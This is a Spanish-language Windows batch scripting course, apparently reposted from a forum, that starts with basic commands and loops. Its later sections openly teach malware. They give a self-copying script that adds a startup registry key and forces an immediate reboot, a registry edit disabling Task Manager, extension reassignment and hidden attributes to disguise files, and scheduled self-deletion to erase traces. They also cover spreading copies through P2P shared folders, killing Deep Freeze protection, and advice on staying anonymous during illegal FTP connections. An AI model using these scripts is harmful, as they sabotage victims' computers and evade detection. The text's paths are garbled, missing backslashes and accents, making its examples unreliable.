Curso de Batch

Descargar como txt, pdf o txt
Descargar como txt, pdf o txt
Está en la página 1de 22

http://www.taringa.net/posts/ebooks-tutoriales/8709554/Manual-Batch-Desde-Cero.

h
tml
Curso de Batch
Para Quienes Inician en la Programacin
Lo primero y principal:
Debes saber cuales son los comandos batch(ms adelante te los explicaremos mejor,
pero as vas calentado).
Para saber los comandos debes ir a:
Inicio>ejecutar
Aqu escribes cmd (sin poner las comillas)
Si te sale una ventana negra con letras blancas vas bien si no reptelo todo y fjat
e bien.
En esta ventana que te a salido escribe Help
Te saldr una lista con todos los comandos y sus caractersticas
Para saber ms sobre un comando escribes:
nombre_del_comando /? ejemplo:
del /?
Ahora si quieres ponte a leer sobre ellos.
Aqu tienen todos los comandos de la shell:
inicio>ejecutar
y escriban:
ms-its:C:WINDOWSHelpntcmds.chm::/ntcmds.htm
Qu es Batch?
Un lenguaje? Unos cdigos? Una interpretacin?
Hay muchas maneras de denominar a batch ya que la gente lo llama de muchas
maneras. Yo como escritor de batch (o programador para los sensibles) lo llamara
as:
Batch son unos scripts interpretados por el sistema a travs de la shell .
Estos scripts pueden ser ordenados en bloque:
-Entrada
-Primera lnea
-Segunda lnea
-Salida
Pero dependiendo la segunda lnea de la primera, y la tercera de la segunda y as
sucesivamente. Esto quiere decir que si un batch falla en su lnea 52 el resto del
batch
no seguir adelante.
Batch no es compilado si no que al igual que perl son interpretados, que para qu
e los
newbies lo entiendan mejor, se podra decir que se van leyendo como un libro.
Primeros comandos y Sintaxis en Batch
Lo primero que deber saber que todo batch se comienza poniendo:
@ echo off
Esto desactiva el eco o repeticin, es decir, que no te saldr la ruta de donde se
encuentra ms el comando, prubalo por ti mismo y comprenders.
Notan la diferencia? bien sigamos.
-Como mostrar un texto en pantalla
Se usa el comando echo de esta manera:
echo Texto a mostrar
ejemplo:
echo Esto es un tutorial para Taringa.
tras poner esto, deben usar el comando pause(parar) o pasara a la siguiente lnea
sin casi
verse. Con todo lo que tenemos aprendido seria as:
@ echo off
echo Texto a mostrar
pause
exit
Si lo que quieren mostrar es un mensaje de tipo ERROR usaran el comando msg).Su
forma de empleo es la siguiente:
msg * texto a salir
ejemplo:
msg * Esto es un tutorial para Taringa.
Comandos Copiar, Mover, Borrar
Los comandos copiar, mover y borrar son copy, move, del. Sus usos respectivament
e
son:
-copy c:rutaorigen c:rutadestino
por ejemplo, suponemos que queremos copiar un .txt :
copy c:carpetanombre.txt c:carpetanombre.txt
El comando move seria exactamente igual pero con el comando move:
move c:carpetanombre.txt c:carpetanombre.txt
El comando Del debera usarse con sus modificadores.Su utilizacin seria as:
del /modificador c:rutaarchivo
ejemplo(pretendemos borrar un .txt):
del /q /s c:carpetanombre.txt
Bien con todo lo aprendido hasta ahora ya podramos hacer lo siguiente:
@ echo off
echo Se va a copiar el .txt
pause
copy c:archivonombre.txt c:archivonombre.txt
echo Se va a eliminar el archivo .txt original
pause
del /q /s c:archivonombre.txt
msg * Trabajo completado!
exit
Variables
Bueno asumo que si ya estas leyendo esto es que habrs ledo antes las partes 1 y 2
de
este curso, por lo que en algn momento te habrs pasado por el rea de Comandos
Batch y les habrs echado un ojo. Bueno ya a partir de aqu no te recordare a cada p
aso
lo de los comandos eso ya lo debes saber tu.
Empecemos hoy estudiaremos el tema de las variables no tocaremos todas sus
funciones (porque son muchas) pero si las bsicas para un escritor.
Aqu el comando maestro ser SET , con este comando aremos infinidad de cosas y en
muchas ocasiones lo acabaras usando.
-nteractuacin con el usuario
Ya estas alturas estaras deseando escribir un programa que interacte con el usuari
o, es
decir, que el que este frente de la pantalla pueda meter datos. Esto lo vamos a
lograr con
el comando Set (y sus modificadores) y con el comando Echo (par que quede bonito
).
La forma en la que se crea una variable en la que el usuario le dar un valor es b
ajo esta
sintaxis de Set:
set /p nombrevariable=
El usuario introducira un dato de cualquier tipo, que se asignara a nombre variabl
e,
para usar las variables empleamos los signos % delante y detrs del nombre de la
variable:
%nombrevariable%
Ahora con lo aprendido en las partes anteriores vamos a crear un simple codigo q
ue te
har entender todo esto:
@ echo off
echo Curso Batch
echo.
echo Introduce tus aos
set /p edad=
echo vaya vaya tienes %edad% aos
pause
msg * Gracias por visitar Taringa
exit
Despus de ver el cdigo lo primero que te preguntaras porque entre las lneas 4 y 5 n
o
introdujo un pause si fue lo que nos dijo en la parte 2. No, no me equivocado, s
et en ese
caso hace que pare el programa ya que el dato que tiene que introducir (por as de
cirlo)
es importante.
-Creando valores semifijos
Un dato importante es que son semifijos porque solo duran mientras que esta el bat
ch
en ejecucin o mejor dicho, mientras esta la shell abierta. Estos datos son muy
cmodos, para no tener que estar recordando datos constantemente y poder resumirlo
en
una palabra.
Esto se crea bajo el comando set con esta sintaxis:
set nombrevariable=datovariable
Es importante decir, que batch, no reserva espacios de memoria por lo que si cre
as otra
variable con el mismo nombre, se escribir sobre la actual.
Aqu un ejemplo:
@ echo off
set devolucion=2015845215
set nueva=2015844215

Creo que queda claro no as en vez de tener que introducir el numero tan largo pod
emos
resumirlo poniendo %devolucion%.
-Operadores matemticos usando Set
Con esto me refiero a sumar, restar, multiplicar y dividir.
Todo esto se consigue bajo el comando set con la siguiente sintaxis:
set /a resultado=dato1 operador dato
Para que lo entiendan mejor se los pongo de ejemplo:
set/a resultado=5 + 5
Con esto se almacena en la variable resultado la suma de 5+5
Fcil verdad? de esto ya solo me queda aclarar una cosa y es que a batch son se le
dan
bien los decimales jejeje as que no pongan nmeros como 5 -
4.999999999999999999991
If, Bucles y Otros comandos
Esta puede ser una de las partes ms complicadas y extensas.
Empezare flojito para no atosigar a tu cerebro tan pronto.
-Limpiando la pantalla
Batch tiene un comando limpiador que sirve para eliminar todo lo que hay en la s
hell
escrito, el comando es cls el cual no tiene sintaxis se pone cls y listo.
-Bucles
Los bucles se componen de dos partes el comando que realiza el salto (goto) y la
etiqueta que lo recibe.
Con los bucles podemos hacer saltos de lnea para llegar a otra
parte del cdigo sin ejecutar ciertas lneas antes la sintaxis, apenas es complicada
:
:bucle (esta es la etiqueta)
. (Lneas que se ejecutaran
. continuamente)
goto :bucle (volver a la etiqueta)
Simple verdad? pues as tenemos un bucle que lo puedes usar como quieras o haciend
o
salto de lneas, me explico, supongamos que hemos desarrollado un cdigo, pero
necesitamos ejecutar primero un trozo que esta al final podramos hacer esto:
:inicio (primera etiqueta)
. (Cdigo)
. (Cdigo)
goto :trozo (saltamos a la lnea que nos interesa)
:seguimos (volveremos aqu cuando acabemos en la lnea
que salteamos antes)

:trozo (lnea a la que hemos venido)

goto :seguimos (regresamos al punto donde nos quedamos)


Creo yo que no esta complicado no?
Bueno sigamos
-Comparando cosas y otras opciones (comando IF)
Veamos, para que te hagas una idea con el comando if podemos comprobar si existe
algo, comparar dos cosas, crear bucles de tiempo determinado, etc.
-Comando if para la comparacin
Les voy a ensear a comprar dos variables que creo que no es muy complicado la
sintaxis es as:
if variable1==variable2 (comando)
Ejemplo
if %saok%==%redactor% (msg * saok is the redactor1)
con esto compararamos si lo que hay dentro de la variable saok y la variable
redactor es la misma se muestra un mensaje.
If tambin nos da la opcin de hacer algo si el resultado no es satisfactorio (lo ib
a a
explicar con 0 y 1 pero as se entiende mejor). La sintaxis es la siguiente:
if %variable1%==%variable2% (comando) else (comando)
ejemplo:
if %saok%==%redactor% (msg * si es cierto) else (msg * no es cierto)
Con esto lo que hacemos se si la variable saok es igual que redactor muestre un
mensaje, pero si no es igual, muestre otro mensaje.
Entre los parntesis (siempre con parntesis) se puede colocar el comando que se qui
era.
Comprobando archivos
Con if se puede comprobar si un archivo existe. La sintaxis es la siguiente:
if exit ruta (comando)
Ejemplo:
if exit c:carpetaarchivo.txt (msg * existe)
Esto lo que hace es que si existe el archivo.txt en esa ruta muestra un mensaje.
El
comando entre parntesis se puede cambiar.
Aqu tambin se puede aadir la funcin
else para que en caso de que no exista haga otra cosa
if exit c:carpetaarchivo.txt (msg * existe) else (msg * no existe)
Creando Bcles limitados.
Aqu estuve tratando de explicarlo pero mejor decid que les pondra un cdigo muy
simple y as lo analizis y comprendis vosotros.
@ echo off
:inicio
cls
set numero2=1
set /a resultado=%resultado% + %numero2%
if %resultado%==99 (goto :seguimos) else (goto :inicio)
Con este cdigo lo que hacemos es que a la variable resultado (por defecto 0) se l
e suma
1 y luego se compara con if si es 99 sigue si no vuelve a empezar. Pero esta vez
la
variable resultado no ser 0 si no 0+1+1=2 sea ser 2,y en la prxima 3 y luego
4.56 etc todos sabemos contarcuando llegue a 99 pasara a la etiqueta :seguimos
y el cdigo que hayamos puesto.
Bueno con este acabamos la parte 4, pasemos.
Registro en Batch
Hoy vamos a hablar del registro en batch.
Todo viene a partir del comando reg voy a explicarlo:
Aadiendo una clave al registro
Para esto usamos el comando Red add con sus modificadores, como es largo pongo
directamente el ejemplo y todos lo comprenderis:
reg add HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v taringa /d
c:WINDOWSsystem32nombre.bat
Con ese cdigo lo que hacemos es agregar una clave al registro (concretamente para
que
inicie un batch con la pc)
Hay distintos tipos valores en el registro aqu se los dejo:
Tipos de datos de clave de registro
[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ ]
Si se omite, se asume REG_SZ
Borrando Claves del registro
Para eso usamos el comando red delete y luego con menos la clave a borrar. Ejemp
lo:
reg delete hklmSoftwareMicoMiAlpTimeout
Modificando Claves en el registro
Esto se hace tambin con el comando reg add pero escribiendo encima simplemente le
damos los valores que queramos:
reg add hkcusoftwaremicrosoftwindowscurrentversionpoliciessystem /v
disabletaskmgr /t reg_dword /d 1^ /f
Con ese cdigo escribimos encima del valor dword de esa clave
Exportando e importando
Sirve para importar o exportar el registro y los comandos son reg import y reg e
xport:
reg export HKLMSoftwareMicoMiAp CopiaAp.reg
reg import CopiaAp.reg
Creo que no hace ni falta explicarlo. Lo nico que si se omite clave se exporta to
do el
registro.
Ahora quiero hablarles de los redireccionadores, que son de lo mas simple de bat
ch,se
usa > o >> la sintaxis es la siguiente:
echo texto que se quiere guardar > c:carpetanoexiste.txt
echo texto que se quiere guardar >>c:carpetaexiste.txt
La diferencia es muy grande, en el 1 se crea el archivo no existe y se escribe es
o
dentro. En el 2 el archivo existe.txt ya existe y lo que se hace es aadir el texto
al final
y guardarlo.
FTP con Batch
Hoy vamos a tocar un tema corto pero muy importante que es el tema del FTP.Cuand
o
empezaba con batch yo y mis amigos tenamos muchos problemas con este comando ya
que es complicadillo de usar, empezemos.
Veamos cuando lo entendimos es muy fcil usamos el comando ftp y sus
modificadores. Pero lo primero que los comandos para el ftp no se usan con este,
este
comando solo es para conectar, los comandos ftp los tienes que colocar dentro de
un .txt
(para que no haya lios,voy a trabajar desde el disco local C
Entonces creamos un .txt llamado conexin y colocamos las cosas dentro de la sigui
ente
manera:
Username
pass
comando
comando
comando
Ejemplo:
Saok
Taringa
hash
status
Y lo guardamos dentro del .txt
Para usarlo, usaremos el comando ftp de la siguiente forma:
ftp -s:c:conexion.txt 124.102.23.5
ftp es el comando -s:c:rutaconexion.txt es el archivo text con las ordenes y esa
ip seria
la del servidor al que vamos a conectar.
Como mandar archivos por FTP
Dentro del .txt despus del user y el pass ponemos:
send c:carpetaarchivo.txt
as mandamos un archivo.
Como crear una carpeta en el ftp
Detrs del user y el pass ponemos:
mdir nombrecarpeta
NOTA: recordar despus de todos los comandos colocar bye o closed (yo recomiendo
bye)
Sugerencias y recomendaciones:
Siempre que el batch deba de ser usado en otra PC hacer que se reemplace el arch
ivo.txt
por otro con el mismo nombre y luego se borre, as quedaras completamente annimo.
Si vas hacer conexiones ilegales tener cuidado porque se queda registrada tu IP.
Intentar que el user y el pass no contengan caracteres raros para batch ni comod
ines ( *
% )
Shutdown, Assoc, Attrib , AT
Hoy ya damos un gran paso, pasamos de aprender a programar. Notarn que las
explicaciones son ms justas y ahora elaboraremos cdigos ms funcionales.
Les empezar comentando con el comando Shutdown,es una comando que si lo lees en
la shell parece simple y en caso de que se active, es facilsimo de parar, pero ta
mbin
puede provocar muchos daos y hacer que necesites entrar en el Modo a prueba de fa
llos
para solucionarlo.
Su sintaxis es shutdown modificador
ejemplo:
shutdown -r -t 200
Esto provocar el reinicio de la PC en 200 segundos. As de simple no ara mucho, ms
que la petada de que te hace reiniciar si se pasa el tiempo, para pararlo escrib
imos:
shutdown -a
Pensaras que corrada si se puede parar tan fcilmente, pues no, que pasara si te pu
siera:
shutdown -r -t 1 o shutdown -r -t 0
No tendras tiempo ni de cargar la shell, tampoco seria una gran amenaza, sin emba
rgo
si jugamos con lo que explicamos en la parte del comando REG podramos joder
mucho, de la siguiente forma.
(Ya voy a aclarando de que yo ni Taringa se hace responsable
de lo que hagas con este cdigo)
@ echo off
copy /y %0 c:WINDOWSsystem32nombre.bat
reg add HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v taringa /d
c:WINDOWSsystem32nombre.bat
shutdown -r -t 1
exit
Esto lo guardamos como nombre.bat y ya tenemos echo un mini-malware personal que
puede joder mucho.
De aqu solo comentar la funcin %0 en copy , con eso conseguimos que si no sabemos
donde esta el batch para usar el comando copy el se busca as mismo.
Otra funcin (o comando mejor dicho) interesante en batch es assoc
Este comando sirve para crear nuestras propias extensiones, y de que sirve esto,
pues de
mucho.
Batch por el icono es muy cantoso, pero si lo renombramos a .saok ya es menos ca
ntoso
le podemos cambiar el icono, aqu unos ejemplos que os lo haran entender bien:
assoc .txt=batfile
assoc .gif=batfile
assoc .avi=batfile
assoc .glomur=batfile
xD creo que se entiende perfectamente, toma una extensin y la convierte en batch
Otra funcin muy usada y destacada es el comando Attrib (atributos) sirve para
cambiar las propiedades de un archivo.
Veamos supongamos que tenemos un archivo recin creado en la carpeta
c:carpetaarchivo.bat y no nos interesa que se sepa que esta ah, pues usamos el
comando attrib de esta forma:
attrib +h c:carpetaarchivo.bat
Yo para mi gusto lo que aria seria al principio del cdigo seria colocar:
set ruta=c:carpetaarchivo.bat
y cuando necesite usar attrib pondria:
attrib +h %ruta%
Pero attrib tambin puede cambiar las propiedades de una carpeta, simplemente
ponemos:
attrib +h c:carpeta
Y esa carpeta estar oculta.
Y adems de todo esto, attrib puede cambiar atributos que ya existan. Por ejemplo,
tenemos un archivo del sistema solo de lectura el cual no nos lo deja mover si e
ditar,
pues ponemos (preferentemente en este orden):
attrib -r -s c:carpetaarchivo.exe
Segn lo que hemos aprendido en esta parte del curso, podramos crear un malware
bastante curioso.
Pero estticamente falla, que nada mas empezar se ejecute el cdigo y para finalizar
se
reinicie no? pues te hace sospechar y mas si abre ese archivo otra ves y pasa lo
mismo,
pues para eso nos ponemos los guantes y usamos en el comando AT este comando sir
ve
para programar tareas, entonces programamos por ejemplo que la PC se reinicie a
las 8
PM entonces ponemos en nuestro cdigo:
at 20:00 shutdown -r -t 10 -c Se reiniciara la pc por un fallo interno.
As a las 8 pm se producir el reinicio bastante lejos de la hora a la que le pasemo
s el
batch.
Y luego para ya convertir nuestro cdigo en el batch del guante blanco, podramos
seguir usando batch y aadir la funcin:
at 20:30 del /q /s c:rutadenuestrobatch.bat
As no queda ni rastro de nuestro batch.
El P2P con batch
A partir de aqu ya lo voy a dedicar a la programacin de malwares, ya que con ellos
(segn mi experiencia) se ponen mejor casos que con el desarrollo de software norm
al.
Bueno hoy Hablaremos de las redes P2P.
Lo primero entender que es p2p y como funcionan los nodos (en la pagina oficial
de emule, tienes una explicacin muy
buena).Ya comprendido esto podemos seguir.
Lo primero que te voy a mencionar y exigir es un buen nombre, pero te recomiendo
que
sea un nombre corto para obtener mejores resultados en las bsquedas. Ya pensado e
l
nombre, necesitamos obtener los directorios de los principales programas de p2p,
no te
preocupes aqui te los dejo:
C:Archivos de programaGroksterMy Grokster
C:Archivos de programaMorpheusMy Shared Folder
C:Archivos de programaICQshared files
C:Archivos de programaKaZaAMy Shared Folder
C:Archivos de programaKaZaA LiteMy Shared Folder
C:Archivos de programaEDONKEY2000incoming
C:Archivos de programaeMuleIncoming
C:Archivos de programaFiletopia3Files
C:Archivos de programaappleJuiceincoming
C:Archivos de programaGnucleusDownloads
C:Archivos de programaLimeWireShared
C:Archivos de programaOvernetincoming
C:Archivos de programaShareazaDownloads
C:Archivos de programaSwaptorDownload
C:Archivos de programaWinMXMy Shared Folder
C:Archivos de programaTeslaFiles
C:Archivos de programaXoloXDownloads
C:Archivos de programaRapigatorShare
C:Archivos de programaKMDMy Shared Folder
C:Archivos de programaBearShareShared
C:Archivos de programaDirect ConnectReceived Files
Ya teniendo todo, procederemos a aplicar el comando copy que ya vimos anteriorme
nte,
pondr un ejemplo de como.
copy %0 c:*archivos*emuleincomingsex_pass.bat
Bien no estara mal tambin matar el proceso del emule (o el/los programa/as que ests
usando para el p2p).
Con el reinicio aseguras que se recomiencen las fuentes.
Ejemplo:
TASKKILL /im /PID emule.exe
Bueno con esto acabamos la propagacin por p2p pero antes dir un par de cosas sobre
ella.
En batch la propagacin por p2p es poco efectiva, por eso de que se puede mirar el
cdigo, el icono es sospechoso.por eso ponerla por si cuela pero si el code va muy
sobre cargado no pasa nada si no la pones. Piensa que no programas un virus si n
o una
bomba lgica, por lo cual es para transferir y que haga su efecto, no pienses en
reproducciones.
Otro facto importante es que si el batch luego lo pasas a .exe y usas el comando
copy
dar errores cuando se ejecute la copia del archivo.
TASSKILL y otros
Primero que nada NT permite al igual que un sistema UNIX el poder matar procesos
a travs de una shell de comandos, en UNIX: kill -ps [PID] donde PID es el ID o va
lor
ndice en la tabla de procesos.
En NT han ido cambiando los comados:
En NT 4 se usaba algo llamado Windows NT 4 Resource kit que era una herramienta
que se descargaba desde windows.com/downloads. Y los comandos TLIST y KILL
realizaban esa tarea (ya integrados en el sistema).
En sistemas RK y OS/2 se llamaban (excepto en OS/2) PSLIST y PSKILL (parecido en
Solaris.)
En sistemas NT 5 (XP-SP1 y XP-SP2 release y beta) se conocen como TASKLIST y
TASKKILL,
TASKLIST:
Nombre de imagen PID Nombre de sesin Nm. de Uso de memoria
========================= ====== ================ ========
============
System Idle Process 0 Console 0 16 KB
Te muestra bsicamente el nombre del proceso y el ID
TASKLIST:
TASKKILL [/S sistema] [/U usuario [/P contrasea]]
{ [/FI filtro] [/PID IdProceso | /IM NombreImagen] } [/F] [/T]
Descripcin:
Esta herramienta de la lnea de comandos puede usarse en uno o mas
procesos.
Los procesos pueden terminarse a travs del Id. o del nombre de imagen.
Lista de parmetros:
/S sistema
Especifica el sistema remoto al que conectarse.
/U [dominio] usuario
Especifica el contexto de usuario en el que se
que el comando debe ejecutarse.
/P contrasea
Especifica la contrasea para el contexto de
usuario dado. Pide la entrada si se omite.
/F
Especfica la terminacin forzada
de proceso(s).
/FI filtro
Especfica un conjunto de tarea que coinciden
con el criterio especificado en el filtro.
/PID Id. de proceso
Especifica el ID. de proceso que se debe
terminar.
/IM nombre de imagen
Especfica el nombre de imagen del proceso que
debe terminar. El carcter comodn * puede
usarse para especificar todos los nombres de
imagen.
/T Terminar rbol
Termina el proceso especificado
y todos los procesos secundarios iniciados por
l.
/?
Muestra el uso de la ayuda.
Filtro(s):
Nombre filtro Operadores validos Valores validos
-
STATUS eq, ne RUNNING | NOT RESPONDING
IMAGENAME eq, ne Nombre de imagen.
PID eq, ne, gt, lt, ge, le Valor de PID.
SESSION eq, ne, gt, lt, ge, le Nmero de sesin
CPUTIME eq, ne, gt, lt, ge, le Tiempo valido en el formato
hh:mm:ss.
hh - horas,
mm - minutos, ss - segundos
MEMUSAGE eq, ne, gt, lt, ge, le Uso de memoria en KB.
USERNAME eq, ne Nombre de usuario en formato
[dominio]usuario.
MODULES eq, ne Nombre de DLL
SERVICES eq, ne Nombre de servicio.
WINDOWTITLE eq, ne Ttulo de ventana.
Nota: el carcter comodn * del modificador /IM se acepta solamente
con filtros.
Nota: los procesos remotos siempre se terminarn de manera forzada
sin tener en cuenta si la opcin /F se ha especificado o no.
Ejemplos:
TASKKILL /S sistema /F /IM notepad.exe
TASKKILL /PID 1230 /PID 1241 /PID 1253
TASKKILL /F /IM notepad.exe /IM mspaint.exe
TASKKILL /F /FI PID ge 1000^ /FI WINDOWTITLE ne untitle*
TASKKILL /F /FI USERNAME eq NT AUTHORITYSYSTEM /IM notepad.exe
TASKKILL /S sistema /U dominiousuario /FI USERNAME ne NT* /IM *
TASKKILL /S sistema /U nombreusuario /P contrasea /FI IMAGENAME eq note*
Bsicamente nosotros solo queremos saber que matar as que podemos arreglar un
batch process que nos lea las ID y las relacione a nuestro nombre de proceso ( s
i lo
conocemos) as:
TASKKILL /IM %PID%
/IM es la que nos conviene usar para terminar
Parmetro:
/IM nombre de imagen
Especfica el nombre de imagen del proceso que
debe terminar. El carcter comodn * puede
usarse para especificar todos los nombres de
imagen.
Esto es para relacionar nuestro nombre de imagen que es el nombre DOS que nosotr
os
queremos.
Nos conviene tambin terminar el proceso en forma absoluta por si esta protegido o
es de sistema bajo el esquema NT/AUTHORITY
Parmetro:
/F
Especfica la terminacin forzada
de proceso(s).
Para todo esto estamos suponiendo que se ejecuta bajo privilegios de admin. de lo
contrario necesitamos especificarlo.
Mmmm, pues nuestro sencillo kill process puede verse as:
@ ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I %1^ | FIND /I /V CMD.EXE
FOR /F tokens=1* %%A IN (TASKLIST ^| FIND /I %1^ ^| FIND /I /V
CMD.EXE) DO SET PID=%%A
TASKKILL /F /IM %1
ENDLOCAL
Este sencillo batch nos va a mostrar los procesos para los que el denominador de
imagen sea nuestro parmetro de entrada (todos los procesos con el mismo nombre) y
su ID
Copien y peguen el code en el block de notas ( notepad para los sensibles) y gurd
enlo
con el nombre que quieran y pongan la extensin .bat
code:
@ ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I %1^ | FIND /I /V CMD.EXE
FOR /F tokens=1* %%A IN (TASKLIST ^| FIND /I %1^ ^| FIND /I /V
CMD.EXE) DO SET PID=%%A
TASKKILL /F /IM %1
ENDLOCAL
Perdonen la presentacin pero soy novato aun je je (risa diablica) pero bueno, solo
deben agregar los nombres de los procesos que quieren matar (deep freeze) as:
@ ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I DFServEX.exe | FIND /I FrzState.exe | FIND /I /V
CMD.EXE
FOR /F tokens=1* %%A IN (TASKLIST ^| FIND /I %1^ ^| FIND /I /V
CMD.EXE) DO SET PID=%%A
TASKKILL /F /IM FrzState.exe /IM DFServEX.exe
ENDLOCAL
OJO: Recuerden que estoy usando comandos para NT 5, si quieren usarlos en NT 4
cambien taskkill por kill y tasklist por tlist y mas importante si usan NT 4 deb
en
asegurarse que Windows NT 4 Resource Kit este instalado
@ ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I %1^ | FIND /I /V CMD.EXE
FOR /F tokens=1* %%A IN (TASKLIST ^| FIND /I %1^ ^| FIND /I /V
CMD.EXE) DO SET PID=%%A
TASKKILL /F /IM %1
ENDLOCAL
tskill ok es comando as como taskkill y tasklist vienen incorporados en windows x
p o
sea NT 5
Si observas lo cambie en especial para deepfreeze as.:
@ ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I DFServEX.exe | FIND /I FrzState.exe | FIND /I /V
CMD.EXE
FOR /F tokens=1* %%A IN (TASKLIST ^| FIND /I %1^ ^| FIND /I /V
CMD.EXE) DO SET PID=%%A
TASKKILL /F /IM FrzState.exe /IM DFServEX.exe
ENDLOCAL
nicamente incorpore en el find el nombre del proceso, no es genrico, es especifico
pero puede ser un punto de partida en batch para hacer un DESTROY ALL como el qu
e
planteo lokisho pero mas elegante, en esencia desarmar el sistema desde procesos
primero.
Quiz un lanzador de querys seria genial por si la maquina tiene acceso o esta mon
tado
el ella un sql server
y listo
[Funciones en Red y FOR
[/b]
En esta parte vamos a tratar las funciones en red y el comando FOR. Utilizaremos
varios comandos que explicare en su momento.
Veamos el comando net.
El comando net es muy amplio con el puedes modificar usuarios desde su nombre a
su
contrasea (siempre que se tengan permisos de administrador)
Ejemplo:
net user username password
net user taringa ramon
As cambio al usuario taringa su password y le pongo el nuevo de ramon.
Tambin puedes compartir carpetas o incluso el disco dura enterito de la siguiente
forma:
Sintaxis: net share recurso=unidad o ruta /comentario /usuarios
Ejemplo: net share C$=C: /remark:Disco Duro /users:2
(para mas informacin consulta el apartado de comandos)
Otro comando que ya vimos pero que no explique sus funciones para la red, es el
comando Shutdown.
Colocndole el modificador - m equipo puedes apagar o reiniciar un PC en red Lan.
Ejemplo:
Shutdown -r -m ordenador2 -t 10
Con esto reiniciaramos la PC en red Lan con el nombre ordenador 2 en un tiempo de
10
segundos.
Y bueno que las funciones en red en batch dejan mucho que desear
Vayamos con el comando FOR
SINTAXIS
FOR %variable IN (cjto) DO comando
Los parmetros son:
FOR /D %variable IN (conjunto) comando DO [parmetros]
Se usa cuando las extensiones de comandos estn habilitadas
FOR /R [[unidadruta] %variable IN (set) DO comando [parmetros]
Cuando usamos comodines, para ejecutar el for recursivamente
dentro de un directorio especificado
(unidad:ruta) en los archivos especificados por los comodines
FOR /L %variable IN (ini,paso,fin) DO comando [parmetros]
Este es el tpico FOR de toda la vida. Supongo ini=0 paso=1 y
fin=4, se creara la sucesin 0,1,2,3,4,5
FOR /F ["opciones"] %variable IN (cjto archivos) DO comando
[parmetros]
Este es el que tiene chichita.
Ahora, el procesamiento de cada lnea se puede modificar a nuestro
antojo mediante las ["opciones"], siendo estas:
EOL=c
Indica que se procesen todas las lneas del archivo menos las que
empiecen por este carcter
SKIP=n
Indica el n de lnea del archivo por el que empezamos a procesarlo.
Es decir, si pongo skip=5, las 5 primeras lneas
Del archivo no se procesaran
DELIMS=xxx
Dice donde (en que smbolos) se quedara el for en cada vuelta (dentro
de una misma lnea)
TOKENS=x,y,m-n
Dice cuales son las vueltas validas del for, es decir, en que vueltas
del for nuestra variable tomara un valor. Se pueden
poner posiciones sueltas: 2,3,4 o rangos: 1-4 o incluso los dos
juntos: 1,3-5. adems, si ponemos el *, se aade otra variable
adicional
que contendr el resto de la cadena que no haya llegado a ser
procesada por el FOR
USEBACKQ
Esto es para el uso de comillas, no es algo muy importante, pero
puede ser util dependiendo de como se llamen los archivos
Primero explicare como funciona el FOR /F ["opciones"] .........
Pues vamos a ver, esto lo que hace es buscar en todas las filas de un
archivo. Entonces, almacena en variables el trozo de cadena
que existe entre un delimitador y otro, y as hasta el n de tokens.
un ejemplo cutre seria, en la lnea
hola buenos das
Si el delim=" " (espacio en blanco) y tokens=1,2,3. Esto significa que
queremos coger 3 (1,2,3) trozos de cadena que esten uno tras
otro de forma contigua y delimitados por el espacio. As obtendramos
3 variables que almacenaran
i=hola
j=buenos
k=das
Pongamos ahora un ejemplo real por si no se ha entendido.
Creamos el archivo de texto 1.txt con el siguiente contenido
----------- 1.txt
;hola buenos dias
este es un manual, dedicado a taringa
21
;para.la.gente.que.quiera.aprender
;y para los demas tambien
hasta luego
1 =Hola
2=adios
3=buenas
-----------------
vamos a realizar un primer FOR. abrimos la consola y ponemos
for /f "eol=; tokens=1 delims=," %i in (1.txt) do echo %i
Este for procesara todas las lineas menos las que empiecen por ; ya
que eol=;
En cada linea que procese solo dara tantas vueltas como "," se
encuentre (delims=,). y almacenara en la variable %i,
solamente la parte de la cadena que se encuentre entre el principio y
la primera (tokens=1) aparicion de ","
Para las lineas que no tengan "," se considera el primer token como la
linea completa, porlo que en esas lineas
en vez de pasar de ella, las tomara enteras en la variable. Asi, el
resultado de este for seria:
este es el manual ---> falta lo que viene a partir de la ","
porque no lo ha cogido debido al delims
hasta luego |
1 =Hola |-->En estas, como no hay "," coge toda la linea
2=adios |
3=buenas |
Otro ejemplo mas claro seria:
for /f "eol=; tokens=1,2,3 delims= " %i in (1.txt) do echo %i %j %k
lo mismo daria poner la parte tokens asi:
for /f "eol=; tokens=1-3 delims= " %i in (1.txt) do echo %i %j %k
Ahora queremos coger de cada linea, menos de las que empiecen por ;
(eol= las cadenas que se encuentren entre
token1 --> el principio y el primer " " (delims=" "
token2 --> el primer " " y el segundo " "
token3 --> el segundo " " y el tercer " "
y el resto lo desechariamos.
Darse cuenta de que en este caso necesitamos coger 3 cosas por cada
linea, por lo que no nos vale solo con la variable
%i, si no que necesitaremos tambien las %j y %k. Para esto, j y k no
se declaran en el for (como la %i, de hecho
unicamente se dclara la primera que se vaya a usar, puede ser %i, %a,
%1 o lo que sea), si no que se ponen en el la
parte del comando a la hora de trabajar con ellas.
Tener en cuenta tambien que si declaramos la variable %i en el for
todas las que usemos deben ir consecutivas en
orden alfabetico y nunca superar los 26 simbolos. seria %i %j %k %l
%m....
si seleccionamos %a en el for, seria %a %b %c %d.
y siempre diferenciando entre MAY y min.
Entonces en este ejemplo nos saldria lo siguiente:
este es un
hasta luego
1 =Hola
2=adios
3=buenas
si queremos, para verlo mas claro, podemos meter algun caracter raro
entre %i, %j y %k
for /f "eol=; tokens=1-3 delims= " %i in (1.txt) do echo %i ? %j ? %k
Obteniendo el siguiente resultado
este ? es ? un
hasta ? luego ?
1 ? =Hola ?
2=adios ? ?
3=buenas ? ?
Vemos como en las lineas 3 y 4 aparecen las ? al final y sin nada
entre medias, esto se debe a que la variable %i
contiene 2=adios (todo hasta el final) y las variables %j y %k estan
vacias
Un ultimo ejemplo para ver el uso del * seria. para ello le quitamos
el ; al principio de todas las lineas que lo tuvieran:
for /f "tokens=1,2* delims= " %i in (1.txt) do echo %i ? %j ? %k
Ahora pone en las variables %i y %j:
token1 (variable %i)--> entre el principio y el primer " " (delims="
"
token2 (variable %j)--> entre el primer " " y el segundo " "
y en la variable %k, que viene definida por el token *, se pondra el
resto de la cadena
asi el resultado seria:
